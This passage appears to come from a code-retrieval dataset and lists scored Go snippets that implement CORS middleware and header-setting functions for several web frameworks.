http.ResponseWriter, r *http.Request) {\n\tw.Header().Set(\"Access-Control-Allow-Credentials\", \"true\")\n\tw.Header().Set(\"Access-Control-Allow-Origin\", r.Header.Get(\"Origin\"))\n\tw.Header().Set(\"Access-Control-Allow-Methods\", \"GET,PUT,POST,DELETE,OPTIONS\")\n\tw.Header().Set(\"Access-Control-Allow-Headers\", \"X-Requested-With,Content-Type,Cache-Control\")\n}", "title": "" }, { "docid": "300e9fb49016c13733a450d82fc2c8e5", "score": "0.7665058", "text": "func EnableCors(next http.Handler) http.Handler {\n\treturn http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n\t\tallowHeaders := \"Accept, Authorization, Content-Type, Content-Length, X-CSRF-Token, Token, session, Origin, Host, Connection, Accept-Encoding, Accept-Language, X-Requested-With\"\n\t\tw.Header().Set(\"Content-Type\", \"application/json\")\n\t\tw.Header().Set(\"Access-Control-Allow-Methods\", \"POST, PUT, PATCH, GET, DELETE\")\n\t\tw.Header().Set(\"Access-Control-Allow-Credentials\", \"true\")\n\t\tw.Header().Set(\"Access-Control-Allow-Headers\", allowHeaders)\n\t\torigin := r.Header.Get(\"Origin\")\n\t\tw.Header().Set(\"Access-Control-Allow-Origin\", origin)\n\n\t\t// for name, values := range r.Header {\n\t\t// \t// Loop over all values for the name.\n\t\t// \tfor _, value := range values {\n\t\t// \t\tfmt.Println(name, value)\n\t\t// \t}\n\t\t// }\n\n\t\tnext.ServeHTTP(w, r)\n\t})\n}", "title": "" }, { "docid": "775d2887b793358caf89a756f4d1da07", "score": "0.75882393", "text": "func CorsMiddleware(next http.Handler) http.Handler {\n\treturn http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n\t\tw.Header().Set(\"Access-Control-Allow-Origin\", \"*\")\n\t\tw.Header().Set(\"Access-Control-Allow-Methods\", \"GET, PUT, POST, PATCH, DELETE\")\n\t\tw.Header().Set(\"Access-Control-Allow-Headers\", \"Content-Type, Authorization\")\n\t\tw.Header().Set(\"Access-Control-Expose-Headers\", \"Authorization\")\n\t\tw.Header().Set(\"Access-Control-Max-Age\", \"600\")\n\n\t\t// Handles pre-flight requests\n\t\tif r.Method == http.MethodOptions {\n\t\t\tw.WriteHeader(http.StatusOK)\n\t\t\treturn\n\t\t}\n\n\t\tnext.ServeHTTP(w, r)\n\t})\n}", "title": "" }, { "docid": "32a29370a150a60e71a3d9834a726b0b", "score": "0.7578919", "text": "func Cors() gin.HandlerFunc {\n\treturn func(c *gin.Context) {\n\t\tc.Writer.Header().Add(\"Access-Control-Allow-Origin\", \"*\")\n\t\tc.Writer.Header().Set(\"Access-Control-Allow-Methods\", \"POST, GET, OPTIONS, PUT, DELETE, PATCH\")\n\t\tc.Writer.Header().Set(\"Access-Control-Allow-Headers\", \"Origin, Content-Type, Content-Length, Accept-Encoding, X-CSRF-Token, Authorization\")\n\t\tc.Writer.Header().Set(\"Access-Control-Expose-Headers\", \"Content-Length\")\n\t\tc.Writer.Header().Set(\"Access-Control-Allow-Credentials\", \"true\")\n\t\tc.Next()\n\t}\n}", "title": "" }, { "docid": "b0704da14ddefbc7beaba479092217fe", "score": "0.75664496", "text": "func corsMiddleware(next http.Handler) http.Handler {\n\treturn http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n\t\tw.Header().Set(\"Access-Control-Allow-Origin\", \"*\")\n\t\tw.Header().Set(\"Access-Control-Allow-Methods\", \"GET\")\n\t\tw.Header().Set(\"Access-Control-Allow-Headers\", \"Origin, Content-Type\")\n\n\t\tnext.ServeHTTP(w, r)\n\t})\n}", "title": "" }, { "docid": "eb1659407d511b4d523084e58652a308", "score": "0.7557037", "text": "func (api *API) WithCors(next http.HandlerFunc) http.HandlerFunc {\n\tlog.Println(\"[api.Middleware] applying CORS Headers\")\n\treturn func(w http.ResponseWriter, r *http.Request) {\n\t\t// set CORS-Header to response writer as defined by the api\n\t\tw.Header().Set(accessControlAllowOrigin, strings.Join(api.allowedOrigins, \",\"))\n\t\tw.Header().Set(accessControlAllowMethods, strings.Join(api.allowedMethods, \",\"))\n\t\tw.Header().Set(accessControlAllowHeader, strings.Join(api.allowedHeaders, \",\"))\n\n\t\tif r.Method == \"OPTIONS\" {\n\t\t\tw.WriteHeader(http.StatusOK)\n\t\t\treturn\n\t\t}\n\t\t// serve next handler\n\t\tnext(w, r)\n\t}\n}", "title": "" }, { "docid": "c78877e84f785c4f9fb4f7c0cddec81f", "score": "0.7551047", "text": "func WithCors(next http.Handler) http.Handler {\n\treturn http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n\t\t// set CORS-Header to response writer as defined by the api\n\t\tw.Header().Set(accessControlAllowOrigin, \"127.0.0.1:3000\")\n\t\tw.Header().Set(accessControlAllowMethods, \"GET,POST\")\n\t\tw.Header().Set(accessControlAllowHeader, \"*\")\n\n\t\tif r.Method == \"OPTIONS\" {\n\t\t\tw.WriteHeader(http.StatusOK)\n\t\t\treturn\n\t\t}\n\t\t// serve next handler\n\t\tnext.ServeHTTP(w, r)\n\t})\n}", "title": "" }, { "docid": "c905658461b377a3ffb6d2ccbfb02843", "score": "0.75197315", "text": "func cors(fn http.HandlerFunc) http.HandlerFunc {\n\treturn func(w http.ResponseWriter, r *http.Request) {\n\t\tw.Header().Set(\"Access-Control-Allow-Origin\", os.Getenv(\"APP_ROOT\"))\n\t\tw.Header().Set(\"Access-Control-Allow-Methods\", \"GET, OPTIONS, POST, DELETE\")\n\t\tw.Header().Set(\"Access-Control-Allow-Headers\", \"Content-Type, X-Requested-With\")\n\t\tfn(w, r)\n\t}\n}", "title": "" }, { "docid": "76bf5092301b34ed9152d2faab07278e", "score": "0.750767", "text": "func CORSHeaders() router.Handler {\n\treturn func(hc router.HTTPContexter) {\n\t\thc.Header().Set(\"Access-Control-Allow-Origin\", \"*\")\n\t\thc.Header().Set(\"Access-Control-Allow-Methods\", \"POST, GET, OPTIONS, PUT, DELETE\")\n\t\thc.Header().Set(\"Access-Control-Allow-Headers\", \"Accept, Content-Type, Content-Length, Accept-Encoding, X-CSRF-Token, Authorization\")\n\t}\n}", "title": "" }, { "docid": "64f058f9543317b79fa516e19d11dacb", "score": "0.74933136", "text": "func cors(next http.Handler) http.Handler {\n\treturn http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n\t\t// Set allow origin to match origin of our request or fall back to *\n\t\tif o := r.Header.Get(origin); o != \"\" {\n\t\t\tw.Header().Set(allowOrigin, o)\n\t\t} else {\n\t\t\tw.Header().Set(allowOrigin, \"*\")\n\t\t}\n\n\t\t// Set other headers\n\t\tw.Header().Set(allowHeaders, headers)\n\t\tw.Header().Set(allowMethods, methods)\n\t\tw.Header().Set(allowCredentials, credentials)\n\t\tw.Header().Set(exposeHeaders, headers)\n\n\t\t// If this was preflight options request let's write empty ok response and return\n\t\tif r.Method == options {\n\t\t\tw.WriteHeader(http.StatusOK)\n\t\t\tw.Write(nil)\n\t\t\treturn\n\t\t}\n\n\t\tnext.ServeHTTP(w, r)\n\t})\n}", "title": "" }, { "docid": "be2271c63405117d3b604a97b9c6c2b0", "score": "0.74793327", "text": "func CORS(next http.HandlerFunc) http.HandlerFunc {\n\treturn func(w http.ResponseWriter, r *http.Request) {\n\t\tr.Header.Set(\"Access-Control-Allow-Origin\", os.Getenv(\"ALLOW_ORIGIN\"))\n\t\tr.Header.Set(\"Access-Control-Max-Age\", \"86400\")\n\t\tr.Header.Set(\"Access-Control-Allow-Methods\", \"POST, GET, OPTIONS, PUT, DELETE, PATCH\")\n\t\tr.Header.Set(\"Access-Control-Allow-Headers\", \"Origin, Content-Type, Content-Length, Accept-Encoding, X-CSRF-Token, Authorization\")\n\t\tr.Header.Set(\"Access-Control-Expose-Headers\", \"Content-Length\")\n\t\tr.Header.Set(\"Access-Control-Allow-Credentials\", \"true\")\n\n\t\tnext.ServeHTTP(w, r)\n\t}\n}", "title": "" }, { "docid": "1f0dcc14482de5d4368cdb8833af6979", "score": "0.74664867", "text": "func CorsMiddleware(next http.Handler) http.Handler {\n\treturn http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n\t\tw.Header().Set(\"Access-Control-Allow-Origin\", \"*\")\n\t\tw.Header().Set(\"Access-Control-Allow-Headers\", \"Content-Type\")\n\t\tnext.ServeHTTP(w, r)\n\t})\n}", "title": "" }, { "docid": "9a8dc3abb36e9ee6b7fd291a77e34cbc", "score": "0.7459292", "text": "func Cors(origin string) web.Middleware {\n\tm := func(handler web.Handler) web.Handler {\n\t\th := func(ctx context.Context, w http.ResponseWriter, r *http.Request) error {\n\t\t\tw.Header().Set(\"Access-Control-Allow-Origin\", origin)\n\t\t\tw.Header().Set(\"Access-Control-Allow-Methods\", \"POST, GET, OPTIONS, PUT, DELETE\")\n\t\t\tw.Header().Set(\"Access-Control-Allow-Headers\", \"Accept, Content-Type, Content-Length, Accept-Encoding, X-CSRF-Token, Authorization\")\n\t\t\tw.Header().Set(\"Access-Control-Max-Age\", \"86400\")\n\n\t\t\treturn handler(ctx, w, r)\n\t\t}\n\n\t\treturn h\n\t}\n\n\treturn m\n}", "title": "" }, { "docid": "835dfa3dd192c0f375d2681761c6052a", "score": "0.7440023", "text": "func Cors() gin.HandlerFunc {\n\treturn func(c *gin.Context) {\n\t\tc.Writer.Header().Add(\"Access-Control-Allow-Origin\", \"*\")\n\t\tc.Next()\n\t}\n}", "title": "" }, { "docid": "80bfe3680456b2c72259c57cf5c81d96", "score": "0.74351245", "text": "func (h *Headers) SetCors() *Headers {\n\th.headers[\"Access-Control-Allow-Headers\"] = \"Content-Type,X-Amz-Date,Authorization,X-Api-Key,X-Amz-Security-Token\"\n\th.headers[\"Access-Control-Allow-Methods\"] = \"GET,OPTIONS,POST,PUT,PATCH\"\n\th.headers[\"Access-Control-Allow-Origin\"] = \"*\"\n\treturn h\n}", "title": "" }, { "docid": "cf9cbd64471d32245502443f1c462dd3", "score": "0.74235946", "text": "func addCorsHeaders(header http.Header) {\n\tlog.Debugf(\"Adding CORS headers to response.\")\n\n\theader.Add(\"Access-Control-Allow-Origin\", \"*\")\n\theader.Add(\"Access-Control-Allow-Methods\", \"GET, POST, OPTIONS\")\n\theader.Add(\"Access-Control-Expose-Headers\", \"WWW-Authenticate\")\n\theader.Add(\n\t\t\"Access-Control-Allow-Headers\",\n\t\t\"Authorization, Grpc-Metadata-macaroon, WWW-Authenticate\",\n\t)\n}", "title": "" }, { "docid": "3780b6a1086e3ef6ed220092e5232eaa", "score": "0.7414321", "text": "func CORS(next fasthttp.RequestHandler) fasthttp.RequestHandler {\n\treturn func(ctx *fasthttp.RequestCtx) {\n\t\tctx.Response.Header.Set(\"Access-Control-Allow-Credentials\", corsAllowCredentials)\n\t\tctx.Response.Header.Set(\"Access-Control-Allow-Headers\", corsAllowHeaders)\n\t\tctx.Response.Header.Set(\"Access-Control-Allow-Methods\", corsAllowMethods)\n\t\tctx.Response.Header.Set(\"Access-Control-Allow-Origin\", corsAllowOrigin)\n\t\tnext(ctx)\n\t}\n}", "title": "" }, { "docid": "7b9742648f70da46227f06f709d19a86", "score": "0.74057865", "text": "func cors(h http.HandlerFunc) http.HandlerFunc {\n\treturn func(w http.ResponseWriter, r *http.Request) {\n\t\tw.Header().Set(\"Access-Control-Allow-Origin\", \"*\")\n\t\th.ServeHTTP(w, r)\n\t}\n}", "title": "" }, { "docid": "795f97eb6c4d4e48d78481b2a2d7a5eb", "score": "0.7387027", "text": "func CORS(next http.Handler) http.Handler {\n\treturn http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n\t\tw.Header().Set(\"Access-Control-Allow-Origin\", \"*\")\n\t\tw.Header().Set(\"Access-Control-Allow-Methods\", \"GET, POST, PUT, PATCH, DELETE, OPTIONS\")\n\t\tw.Header().Set(\"Access-Control-Allow-Headers\", \"Content-Type, Authorization\")\n\n\t\tnext.ServeHTTP(w, r)\n\t})\n}", "title": "" }, { "docid": "2aa7981c9b23a5b19c73a19c76a55df1", "score": "0.73620343", "text": "func cors(inner http.Handler) http.Handler {\n\treturn http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n\t\tif origin := r.Header.Get(\"Origin\"); origin != \"\" {\n\t\t\tw.Header().Set(`Access-Control-Allow-Origin`, origin)\n\t\t\tw.Header().Set(`Access-Control-Allow-Methods`, strings.Join([]string{\n\t\t\t\t`DELETE`,\n\t\t\t\t`GET`,\n\t\t\t\t`OPTIONS`,\n\t\t\t\t`POST`,\n\t\t\t\t`PUT`,\n\t\t\t}, \", \"))\n\n\t\t\tw.Header().Set(`Access-Control-Allow-Headers`, strings.Join([]string{\n\t\t\t\t`Accept`,\n\t\t\t\t`Accept-Encoding`,\n\t\t\t\t`Authorization`,\n\t\t\t\t`Content-Length`,\n\t\t\t\t`Content-Type`,\n\t\t\t\t`X-CSRF-Token`,\n\t\t\t\t`X-HTTP-Method-Override`,\n\t\t\t}, \", \"))\n\n\t\t\tw.Header().Set(`Access-Control-Expose-Headers`, strings.Join([]string{\n\t\t\t\t`Date`,\n\t\t\t\t`X-FreeTSDB-Version`,\n\t\t\t\t`X-FreeTSDB-Build`,\n\t\t\t}, \", \"))\n\t\t}\n\n\t\tif r.Method == \"OPTIONS\" {\n\t\t\treturn\n\t\t}\n\n\t\tinner.ServeHTTP(w, r)\n\t})\n}", "title": "" }, { "docid": "52eb64488cc06ff38cb74f78f093917b", "score": "0.7349282", "text": "func (s *Server) corsMiddleware(handler httputils.APIFunc) httputils.APIFunc {\n\treturn func(ctx context.Context, w http.ResponseWriter, r *http.Request, vars map[string]string) error {\n\t\t// If \"api-cors-header\" is not given, but \"api-enable-cors\" is true, we set cors to \"*\"\n\t\t// otherwise, all head values will be passed to HTTP handler\n\t\tcorsHeaders := s.cfg.CorsHeaders\n\t\tif corsHeaders == \"\" && s.cfg.EnableCors {\n\t\t\tcorsHeaders = \"*\"\n\t\t}\n\n\t\tif corsHeaders != \"\" {\n\t\t\twriteCorsHeaders(w, r, corsHeaders)\n\t\t}\n\t\treturn handler(ctx, w, r, vars)\n\t}\n}", "title": "" }, { "docid": "ac81c5e81cf46d65bacd294a06dbe845", "score": "0.72989875", "text": "func (c *CorsMw) CorsMiddleware(next http.Handler) http.Handler {\n\treturn http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n\t\tw.Header().Set(\"Access-Control-Allow-Origin\", c.origin)\n\t\tw.Header().Set(\"Access-Control-Allow-Methods\", \"POST, GET, OPTIONS, PUT, DELETE\")\n\t\tw.Header().Set(\"Access-Control-Allow-Headers\", \"Accept, Authorization, Content-Type, Content-Length, Accept-Encoding\")\n\n\t\tif r.Method == \"OPTIONS\" {\n\t\t\tw.Header().Set(\"Access-Control-Max-Age\", \"86400\")\n\t\t\tw.WriteHeader(http.StatusOK)\n\t\t\treturn\n\t\t}\n\n\t\tnext.ServeHTTP(w, r)\n\t})\n}", "title": "" }, { "docid": "1bedcb5c57f0cb8c91c0f3f97ccbdf84", "score": "0.72734636", "text": "func ginCors() gin.HandlerFunc {\n\treturn func(ctx *gin.Context) {\n\t\tctx.Writer.Header().Add(\"Access-Control-Allow-Origin\", \"*\")\n\t\tctx.Next()\n\t}\n}", "title": "" }, { "docid": "1bedcb5c57f0cb8c91c0f3f97ccbdf84", "score": "0.72734636", "text": "func ginCors() gin.HandlerFunc {\n\treturn func(ctx *gin.Context) {\n\t\tctx.Writer.Header().Add(\"Access-Control-Allow-Origin\", \"*\")\n\t\tctx.Next()\n\t}\n}", "title": "" }, { "docid": "fdd660fbc2d9af5b736591a723c81b92", "score": "0.72631013", "text": "func AddCorsWildcardHeaders(serve http.HandlerFunc) http.HandlerFunc {\n\treturn func(w http.ResponseWriter, r *http.Request) {\n\t\tw.Header().Set(\"Access-Control-Allow-Origin\", \"*\")\n\t\tw.Header().Set(\"Access-Control-Allow-Headers\", \"*\")\n\t\tw.Header().Set(\"Cross-Origin-Resource-Policy\", \"cross-origin\")\n\t\tserve(w, r)\n\t}\n}", "title": "" }, { "docid": "ddd51ff9993d4f9dc188aa7f85c3c02d", "score": "0.72608954", "text": "func CORSHeaders() echo.MiddlewareFunc {\n\treturn middleware.CORSWithConfig(middleware.CORSConfig{\n\t\tAllowOriginFunc: allowOrigin,\n\t\tAllowCredentials: true,\n\t\tAllowHeaders: []string{\n\t\t\techo.HeaderAccessControlAllowOrigin,\n\t\t\techo.HeaderAccessControlAllowHeaders,\n\t\t\techo.HeaderContentType,\n\t\t\techo.HeaderContentLength,\n\t\t\techo.HeaderAcceptEncoding,\n\t\t\techo.HeaderXCSRFToken,\n\t\t\techo.HeaderAuthorization,\n\t\t\techo.HeaderOrigin,\n\t\t},\n\t\tAllowMethods: []string{\n\t\t\thttp.MethodGet,\n\t\t\thttp.MethodPost,\n\t\t\thttp.MethodDelete,\n\t\t},\n\t\tMaxAge: 86400,\n\t})\n}", "title": "" }, { "docid": "cc0a535b50340bbe75639f5a1d6e259a", "score": "0.7181058", "text": "func (ds *DataServ) Headers(rw http.ResponseWriter, req *http.Request) {\n\t// Stop here if its Preflighted OPTIONS request\n\tif req.Method == \"OPTIONS\" {\n\t\treturn\n\t}\n\trw.Header().Set(\"Access-Control-Allow-Origin\", \"*\")\n\trw.Header().Set(\"Access-Control-Allow-Methods\", \"POST, GET, OPTIONS, PUT, DELETE, PATCH\")\n\trw.Header().Set(\"Access-Control-Allow-Headers\",\n\t\t\"Accept, Content-Type, Content-Length, Accept-Encoding, X-CSRF-Token, Authorization\")\n\n}", "title": "" }, { "docid": "6d3949c6586a7e0e288e19a81831f364", "score": "0.71444976", "text": "func (s *WithCORS) ServeHTTP(res http.ResponseWriter, req *http.Request) {\n if origin := req.Header.Get(\"Origin\"); origin != \"\" {\n res.Header().Set(\"Access-Control-Allow-Origin\", origin)\n res.Header().Set(\"Access-Control-Allow-Methods\", \"POST, GET, OPTIONS, PUT, DELETE\")\n res.Header().Set(\"Access-Control-Allow-Headers\",\n \"Accept, Content-Type, Content-Length, Accept-Encoding, X-CSRF-Token, Authorization\")\n }\n\n // Stop here for a Preflighted OPTIONS request.\n if req.Method == \"OPTIONS\" {\n return\n }\n // Lets Gorilla work\n s.r.ServeHTTP(res, req)\n}", "title": "" }, { "docid": "0991227b2cc814518f350814ee454133", "score": "0.7136889", "text": "func (c Client) AddCORS(next http.HandlerFunc) http.HandlerFunc {\n\treturn func(w http.ResponseWriter, r *http.Request) {\n\t\tw.Header().Set(\"Access-Control-Allow-Credentials\", \"true\")\n\n\t\tif origin, ok := r.Header[\"Origin\"]; ok {\n\t\t\tw.Header().Set(\"Access-Control-Allow-Origin\", origin[0])\n\t\t} else {\n\t\t\tw.Header().Set(\"Access-Control-Allow-Origin\", \"*\")\n\t\t}\n\n\t\tif methods, ok := r.Header[\"Access-Control-Request-Methods\"]; ok {\n\t\t\tw.Header().Set(\"Access-Control-Allow-Methods\", methods[0])\n\t\t} else {\n\t\t\tw.Header().Set(\"Access-Control-Allow-Methods\", allHTTPMethods)\n\t\t}\n\n\t\tif headers, ok := r.Header[\"Access-Control-Request-Headers\"]; ok {\n\t\t\tw.Header().Set(\"Access-Control-Allow-Headers\", headers[0])\n\t\t}\n\n\t\tif r.Method == \"OPTIONS\" {\n\t\t\treturn\n\t\t}\n\n\t\tnext(w, r)\n\t}\n}", "title": "" }, { "docid": "ff445ad0a51b823f621c4145129071fb", "score": "0.71015847", "text": "func CORS() gin.HandlerFunc {\n\treturn func(c *gin.Context) {\n\t\tc.Writer.Header().Set(\"Access-Control-Allow-Origin\", \"*\")\n\t\tc.Writer.Header().Set(\"Access-Control-Allow-Credentials\", \"true\")\n\t\tc.Writer.Header().Set(\"Access-Control-Allow-Headers\", \"Content-Type, Content-Length, Accept-Encoding, X-CSRF-Token, Authorization, accept, origin, Cache-Control, X-Requested-With\")\n\t\tc.Writer.Header().Set(\"Access-Control-Allow-Methods\", \"POST, OPTIONS, GET, PUT, DELETE\")\n\n\t\tif c.Request.Method == \"OPTIONS\" {\n\t\t\tc.AbortWithStatus(204)\n\t\t\treturn\n\t\t}\n\t\tc.Next()\n\t}\n}", "title": "" }, { "docid": "91c7284958f895dccf6afb82d418f464", "score": "0.7096297", "text": "func corsMiddleware(handler http.Handler) http.Handler {\n\tcorsMethods := handlers.AllowedMethods([]string{\"GET\", \"POST\", \"PUT\", \"DELETE\", \"OPTIONS\"})\n\tcorsOrigins := handlers.AllowedOrigins([]string{\"*\"})\n\treturn handlers.CORS(corsOrigins, corsMethods)(handler)\n}", "title": "" }, { "docid": "e88cb9ddab76d23eb808e70cbdd4f82c", "score": "0.7087474", "text": "func setCORS(w http.ResponseWriter) {\n\tw.Header().Set(\"Access-Control-Allow-Origin\", \"*\")\n\tw.Header().Set(\"Access-Control-Allow-Methods\", \"DELETE, POST, PUT, GET, OPTIONS\")\n}", "title": "" }, { "docid": "977e7d8f0b8818d58ce2fa03f10edda3", "score": "0.70675504", "text": "func CORSMiddleware() gin.HandlerFunc {\n return func(c *gin.Context) {\n\n c.Header(\"Access-Control-Allow-Origin\", \"*\")\n c.Header(\"Access-Control-Allow-Credentials\", \"true\")\n c.Header(\"Access-Control-Allow-Headers\", \"Content-Type, Content-Length, Accept-Encoding, X-CSRF-Token, Authorization, accept, origin, Cache-Control, X-Requested-With\")\n c.Header(\"Access-Control-Allow-Methods\", \"POST,HEAD,PATCH, OPTIONS, GET, PUT\")\n\n if c.Request.Method == \"OPTIONS\" {\n c.AbortWithStatus(204)\n return\n }\n\n c.Next()\n }\n}", "title": "" }, { "docid": "72a21e44697ab3bbbb1cc1976b954055", "score": "0.7063289", "text": "func CorsHandler(fn func(w http.ResponseWriter, r *http.Request)) func(w http.ResponseWriter, r *http.Request) {\n\treturn http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n\t\tw.Header().Set(\"Access-Control-Allow-Origin\", \"*\")\n\t\tw.Header().Set(\"Access-Control-Allow-Methods\", \"POST, GET, OPTIONS, PUT, DELETE\")\n\t\tw.Header().Set(\"Access-Control-Allow-Headers\", \"Accept, Content-Type, Content-Length, Accept-Encoding, X-CSRF-Token, Authorization\")\n\t\tfn(w, r)\n\t})\n}", "title": "" }, { "docid": "10ad9e12ee475f0e44e6e5e88f36890d", "score": "0.70332456", "text": "func NewCorsMiddleware(regex string) middleware.Middleware {\n\treturn &corsMiddleware{regex}\n}", "title": "" }, { "docid": "316fac242fb88bdaffab215f6a89cb3e", "score": "0.70312816", "text": "func enableCors(w *http.ResponseWriter) {\n\t(*w).Header().Set(\"Access-Control-Allow-Origin\", \"*\")\n}", "title": "" }, { "docid": "316fac242fb88bdaffab215f6a89cb3e", "score": "0.70312816", "text": "func enableCors(w *http.ResponseWriter) {\n\t(*w).Header().Set(\"Access-Control-Allow-Origin\", \"*\")\n}", "title": "" }, { "docid": "316fac242fb88bdaffab215f6a89cb3e", "score": "0.70312816", "text": "func enableCors(w *http.ResponseWriter) {\n\t(*w).Header().Set(\"Access-Control-Allow-Origin\", \"*\")\n}", "title": "" }, { "docid": "316fac242fb88bdaffab215f6a89cb3e", "score": "0.70312816", "text": "func enableCors(w *http.ResponseWriter) {\n\t(*w).Header().Set(\"Access-Control-Allow-Origin\", \"*\")\n}", "title": "" }, { "docid": "31b2fb126402ffe7880d21eb3149c178", "score": "0.7026628", "text": "func Cors(r *mux.Router) http.Handler {\n\theadersOk := handlers.AllowedHeaders([]string{\"X-Requested-With\", \"Origin\", \"Content-Type\", \"Authorization\"})\n\toriginsOk := handlers.AllowedOrigins([]string{\"*\"})\n\tmethodsOk := handlers.AllowedMethods([]string{\"GET\", \"HEAD\", \"POST\", \"PUT\", \"OPTIONS\"})\n\treturn handlers.CORS(originsOk, headersOk, methodsOk)(r)\n}", "title": "" }, { "docid": "a44b01878aed028ddd0009f8978e41ee", "score": "0.7020895", "text": "func CORS(h ApiFunc) ApiFunc {\n\treturn func(req Request, resp Response) {\n\t\tr := req.Request()\n\t\tif r.Method != OPTIONS {\n\t\t\tdefer h(req, resp)\n\t\t}\n\t\tref := r.Referer()\n\t\tif ref == \"\" {\n\t\t\tif r.TLS == nil {\n\t\t\t\tref = \"http://\" + r.Host\n\t\t\t} else {\n\t\t\t\tref = \"https://\" + r.Host\n\t\t\t}\n\t\t}\n\t\tref = strings.TrimRight(ref, \"/\")\n\n\t\tresp.Recorder().Header().Set(CORS_AccessControlAllowOrigin, ref) // Omit trailing slash\n\t\tresp.Recorder().Header().Set(CORS_AccessControlAllowMethods, CORS_DefaultMethods)\n\t\tresp.Recorder().Header().Set(CORS_AccessControlAllowHeaders, CORS_DefaultHeaders)\n\t}\n}", "title": "" }, { "docid": "3555bd395d35d52b02230f014db07d4f", "score": "0.70172477", "text": "func CORS(allowOrigins []string) echo.MiddlewareFunc {\n\treturn middleware.CORSWithConfig(middleware.CORSConfig{\n\t\tAllowOrigins: allowOrigins,\n\t\tAllowMethods: []string{http.MethodGet, http.MethodPost, http.MethodPut, http.MethodDelete, http.MethodPatch},\n\t})\n}", "title": "" }, { "docid": "ab466590ae61f853238d4a89a399b769", "score": "0.7011908", "text": "func setHeaders(ctx *web.Context) {\n\t// TODO: should this be done with nginx\n\t// TODO: check for existence in config.Hosts.AllowedOrigins\n\tctx.SetHeader(\"Access-Control-Allow-Origin\", \"*\", true)\n\tctx.SetHeader(\"Access-Control-Allow-Credentials\", \"true\", true)\n\tctx.SetHeader(\"Access-Control-Allow-Methods\", \"OPTIONS, GET, POST\", true)\n\tctx.SetHeader(\"Access-Control-Allow-Headers\", \"Content-Type, User-Agent, X-File-Size, X-Requested-With, If-Modified-Since, X-File-Name, Cache-Control, X-Tickit-Store, X-Tickit-Key\", true)\n\tctx.SetHeader(\"Content-type\", \"application/json; charset=utf-8\", true)\n}", "title": "" }, { "docid": "852cf0752a7535894d1e8c40512f33bd", "score": "0.7008219", "text": "func corsHandler(h http.Handler) http.Handler {\n\treturn http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n\t\tw.Header().Set(\"Access-Control-Allow-Origin\", \"*\")\n\t\tw.Header().Set(\"Access-Control-Allow-Methods\", \"POST, GET, OPTIONS, PUT, DELETE\")\n\t\tw.Header().Set(\"Access-Control-Allow-Headers\", \"Accept, Content-Type, Content-Length, Accept-Encoding, X-CSRF-Token, Authorization\")\n\n\t\tif r.Method == \"OPTIONS\" {\n\t\t\treturn\n\t\t}\n\n\t\th.ServeHTTP(w, r)\n\t})\n}", "title": "" }, { "docid": "fdf2e06e526eeafd058d077d6647b35b", "score": "0.69876474", "text": "func AllowCors() *cors.Cors {\n\treturn cors.New(cors.Options{AllowedOrigins: []string{\"*\"}})\n}", "title": "" }, { "docid": "9a02aef1d537a49af1fc5a2c3f25512c", "score": "0.69813836", "text": "func EnableCors(handler http.Handler, c Cors) http.Handler {\n\treturn http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n\t\tw.Header().Set(\"Access-Control-Allow-Methods\", strings.Join(c.Methods, \",\"))\n\t\tw.Header().Set(\"Access-Control-Allow-Origin\", strings.Join(c.Origins, \",\"))\n\n\t\t// validation of method (request)\n\t\tif !b.ContainStr(c.Methods, r.Method) {\n\t\t\terr := DefaultResponse{false, http.StatusMethodNotAllowed, \"Method not allowed!\"}\n\t\t\tRespondWithJson(w, http.StatusMethodNotAllowed, err)\n\t\t\treturn\n\t\t}\n\n\t\t// validation of origin (request)\n\t\t// TODO:\n\t\toriginRequest := \"\"\n\t\tif len(c.Origins) > 0 && c.Origins[0] != \"*\" && !b.ContainStr(c.Origins, originRequest) {\n\t\t\terr := DefaultResponse{false, http.StatusForbidden, \"Origin not allowed!\"}\n\t\t\tRespondWithJson(w, http.StatusForbidden, err)\n\t\t\treturn\n\t\t}\n\n\t\thandler.ServeHTTP(w, r)\n\t})\n}", "title": "" }, { "docid": "80465d1047ed5653fc63ae400d87f13b", "score": "0.69783956", "text": "func withCORS(next http.Handler) http.Handler {\n\treturn http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n\t\tw.Header().Set(\"Access-Control-Allow-Origin\", \"*\")\n\t\tw.Header().Set(\"Access-Control-Expose-Headers\", \"Location\")\n\t\tw.Header().Set(\"Content-Type\", \"application/json\")\n\t\tnext.ServeHTTP(w, r)\n\t})\n}", "title": "" }, { "docid": "0c666e1b01c4901d9426e36803b620bd", "score": "0.6968033", "text": "func (s *Server) AllowCORS() {\n\ts.Middleware(handlers.CORS(\n\t\thandlers.AllowedHeaders([]string{\"Authorization\", \"Content-Type\"}),\n\t\thandlers.AllowedMethods([]string{\"GET\", \"POST\", \"PUT\", \"DELETE\"}),\n\t))\n}", "title": "" }, { "docid": "dd8042f5ea9e3cee6e96c273dea0a871", "score": "0.6947106", "text": "func (router *Router) corsHandler(w http.ResponseWriter, r *http.Request) {\n\tw.Header().Set(\"Access-Control-Allow-Origin\", router.corsConf.Origins)\n\tw.Header().Set(\"Access-Control-Allow-Methods\", router.corsConf.Methods)\n\tw.Header().Set(\"Access-Control-Allow-Headers\", router.corsConf.Headers)\n\tw.Header().Set(\"Access-Control-Max-Age\", router.corsConf.MaxAge)\n\tw.WriteHeader(http.StatusNoContent)\n}", "title": "" }, { "docid": "e8557f381883956c24649722d19c5260", "score": "0.6936994", "text": "func accessControlMiddleware(next http.Handler) http.Handler {\n\treturn http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n\t\tw.Header().Set(\"Access-Control-Allow-Origin\", c.AccessControlAllowOrigin)\n\t\tw.Header().Set(\"Access-Control-Allow-Headers\", \"Origin, Content-Type, X-Tenant-Merge-Default, \"+c.TenantHeaderName)\n\t\tw.Header().Set(\"Access-Control-Allow-Methods\", \"GET, POST, OPTIONS, PUT, DELETE\")\n\n\t\tif r.Method == \"OPTIONS\" 